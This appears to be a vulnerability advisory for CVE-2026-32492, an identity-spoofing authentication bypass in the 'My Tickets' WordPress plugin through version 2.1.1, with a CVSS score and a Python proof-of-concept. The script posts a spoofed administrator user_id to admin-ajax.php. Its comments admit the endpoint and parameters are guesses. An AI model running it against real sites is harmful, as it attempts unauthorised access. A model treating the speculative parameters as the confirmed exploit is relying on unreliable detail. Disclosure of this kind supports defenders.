Authentication Bypass by Spoofing vulnerability in Joe Dolson My Tickets my-tickets allows Identity Spoofing.This issue affects My Tickets: from n/a through <= 2.1.1.
CVSS Details
CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Configurations (Affected Products)
No configuration data available.
My Tickets <= 2.1.1
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC Concept for CVE-2026-32492
# This script demonstrates a potential identity spoofing request.
# Usage: python3 poc.py
import requests
def check_spoofing(target_url):
# The endpoint might be an AJAX action or a specific plugin page
url = f"{target_url}/wp-admin/admin-ajax.php"
# Attempting to spoof a privileged user action (e.g., accessing ticket data)
# by manipulating parameters that the plugin trusts without proper validation.
payload = {
"action": "my_tickets_action",
"user_id": "1", # Spoofing Administrator ID
"ticket_id": "999"
}
headers = {
"User-Agent": "Mozilla/5.0",
"Content-Type": "application/x-www-form-urlencoded"
}
try:
response = requests.post(url, data=payload, headers=headers, timeout=10)
if response.status_code == 200:
print("[+] Request sent successfully. Check if unauthorized access was granted.")
print(f"[+] Response: {response.text[:100]}")
else:
print(f"[-] Server returned status code: {response.status_code}")
except Exception as e:
print(f"Error: {e}")
if __name__ == "__main__":
target = "http://example.com" # Replace with actual target
check_spoofing(target)